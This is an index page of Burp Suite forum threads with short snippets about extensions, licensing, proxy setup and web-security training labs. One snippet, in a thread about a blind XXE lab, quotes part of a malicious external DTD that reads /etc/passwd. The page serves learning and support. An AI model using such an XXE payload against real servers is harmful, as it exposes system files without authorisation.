How do I? - Page 61 - Burp Suite User Forum

Japanese Characters are not copied properly

Hi. I am trying to create a java burp suite extension using the Montoya API. I needed to copy the selected request and response from the HTTP History to the clipboard. But garbage values were displayed when I paste...

Is Burp Suite Enterprise supports IOS testing

Hi, Is Burp Suite Enterprise and professional can I get datasheet relating to IOS and web site etc.. Specific Qustn: Is Burp Suite Enterprise supports IOS testing? Regards, Basu

CVSS score

a costumer of mine wants the CVSS score v.2 for findings in the report. It is possible?

Lab: Modifying serialized data types

I have a problem with this perticular lab. I've followed the solution as well and still cannot access the admin account. I have a firefox web browser. Pasted in this in the cookies by pressing...

Unable to load website using firebase

When I start using burp suite proxy to intercept requests, the website using firebase can't be loaded. I checked past posts, but i can't solved this...

request for the pro version trial

I request for the trial version of burp suite professional yesterday (19-07-2023). but since i didn't get any mails for the key. kindly do the needful ASAP

Reset All Academy Labs and Modules

Good Morning Portswigger, Can I ask that you reset everything so I can start from a clean slate?

Lab: Multistep clickjacking

Bom dia, não estou conseguindo concluir o lab, apesar do script estar correto e devidamente alinhado conforme necessário para execução do payload, quando realizo o envio o lab não é resolvido, já testei no chrome e no...

Tails Persistence on usb-BurpSuite browser not Connecting to Internet

I installed burpsuite on a persistence usb but when I open the chrome browser I cannot connect to the internet. Mind you I automatically connect to Tor after booting and I can access the internet. Will burpsuite install...

“Manipulating Websocket messages to exploit vulnerabilities”.

Dear team, I am doing the lab of websocket and I can't see the messages on the intercept tab of burp. I receive the get request but not the websocket messages. I have ticked both boxes in the...

Is it possible to proxy traffic through Vmware Horizon Client

I'm on a Mac and turn the proxy settings on in chrome (system proxy). Then I open up Vmware Horizon Client. When I try to connect to my server I see some traffic pass through and get 200 response. Then I see one that hangs...

Active scanning on SPAs

I am trying to configure active scans on single page applications, and it looks like Burp Suite is unable to run scans thoroughly on such applications. I did try to manually navigate the entire application and submit...

How to activate Burp Suite inside Docker image?

Hi, I have tried to create a docker with the pro version of Burp following this article https://burpsuite.guide/blog/activate-burpsuite-inside-docker-container/ using method 2, and there is no way every time I run docker (...

OWASP Top 10 - 2021 coverage

Hello Team, Is BurpSuite tool latest version aligned with latest OWASP Top 10 - 2021 or it is still using OWASP Top 10 - 2017 itself. Can you please let me know where i can find the information for OWASP Top 10 2021...

Can't solve the lab Exploiting blind XXE to exfiltrate data using a malicious external DTD

I think I'm doing everything like in the solutions but I just don't get HTTP Response in the Burp's suite collaborator. // Exploit.dtd: <!ENTITY % file SYSTEM "file:///etc/passwd"> <!ENTITY % eval "<!ENTITY %...

[Enterprise] Avoiding requests to external resources

Hi, We need to avoid BE's scanner to send requests to certain URLs, such as Google APIs included in scripts or hrefs To clarify, we are talking about a site https://example.com which has some references to, let's say,...

i can't change my email address

How to customize Burp Suite layout

Hello :-) how to remove tabs from Burp (like Sequencer, Comparer, etc.)? I'm referring to: https://portswigger.net/burp/documentation/desktop/burps-layout

RST_STREAM error

Hi, I'm getting this error : RST_STREAM received whit error code:0x1 (protocol error detected) which prevents the response from displaying and this happens when using special crafter payloads, some of them work, but...

How to wrap absolutely all requests from scaner in Base64

Greetings! I started studying the software not so long ago. And I have a question: how to wrap __absolutely all__ requests that the scanner sends to a target in Base64? I know how to do it in Intruder for one request,...